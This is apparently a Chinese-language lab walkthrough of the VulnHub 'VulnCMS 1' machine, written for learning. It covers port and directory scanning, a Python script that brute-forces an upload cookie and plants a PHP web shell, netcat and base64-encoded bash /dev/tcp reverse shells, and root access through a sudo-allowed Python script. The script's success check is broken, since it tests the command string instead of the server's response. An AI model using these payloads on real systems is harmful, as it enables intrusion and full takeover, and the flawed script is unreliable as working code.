環境
Kali: 192.168.132.131
靶機:192.168.132.130 靶機地址:https://www.vulnhub.com/entry/vulncms-1,710/
一、資訊收集
arp-scan -l

nmap -p- -sC -sV 192.168.132.130

gobuster dir -u [http://192.168.132.130/](http://192.168.132.130/) -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -b 400,403,404,500 -t 100 -x .php,.html,.txt,.bak,php.bak,.zip

二、漏洞探測
http://192.168.132.130/dashboard.html

#上傳檔案的路徑
http://192.168.132.130/owls/

http://192.168.132.130/ajax.php.bak
需要有cookie和post變數,則可以上傳php檔案
提示cookie值缺少一位大寫字母,如果cookie變數名和值符合要求,并且存在post變數secure,則可上傳后綴名為pdf、php、txt檔案

http://192.168.132.130/js/main.js
存在上傳檔案,構造表單內容,將上傳檔案目錄作為post變數向ajax.php頁面發送異步請求,如果請求成功,顯示上傳成功

三、漏洞驗證
script.py
通過腳本訪問大寫字母字典,構造curl 命令引數,進行批量訪問,進行判斷頁面回傳是否為1,為1則上傳成功,

import os
import requests
password = "password.dict"
with open(password,"r") as file:
words = file.read().splitlines()
for word in words:
command = "curl -k -F 'file=@./shell.php' -F 'secure=val1d' --cookie 'admin=&G6u@B6uDXMq&Ms"+word+"' "+"http://192.168.132.130/ajax.php"
os.system(command)
print(command)
if "1" in command:
print("[+] Shell Uploaded!")
for execute in command:
execute_command = input("[!] Command to Execute:")
get_rce = requests.get("http://192.168.132.130/owls/shell.php?cmd="+execute_command)
print(str(get_rce.content))
if execute_command == "clear":
os.system("clear")
else:
print("[!] Shell not Uploaded!")
rlwrap nc -lvp 4444
chmod +x script.py
python3 script.py
nc 192.168.132.131 4444 -e /bin/bash



python -c 'import pty; pty.spawn("/bin/bash")'

cd /home
cd athena
ls -la

cat password-reminder.txt

ssh [[email protected]](mailto:[email protected])

四、提權
sudo -l

cat /home/team-tasks/cookie-gen.py

將反彈root權限的shell命令存入seed變數執行
echo "bash -c 'exec bash -i &>/dev/tcp/192.168.132.131/4444 <&1'" | base64

sudo -u root /usr/bin/python3 /home/team-tasks/cookie-gen.py
echo "YmFzaCAtYyAnZXhlYyBiYXNoIC1pICY+L2Rldi90Y3AvMTkyLjE2OC4xMzIuMTMxLzQ0NDQgPCYxJwo=" |base64 -d|/bin/bash

rlwrap nc -lnvp 4444
cat root.txt

五、總結
通過該靶機學習到curl命令設定post變數和cookie的值的方法,訪問網址,在burpsuite中添加post變數或者撰寫python腳本批量訪問網址,并執行內部命令,通過nc命令反彈shell,利用靶機中sudo python3腳本構造payload陳述句進行root提權,掃描埠和目錄,發現檔案上傳漏洞,撰寫python腳本,成功上傳一句話木馬,反彈shell,利用sudo權限cookie-gen.py,進行提權,獲得root權限,
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/303221.html
標籤:其他
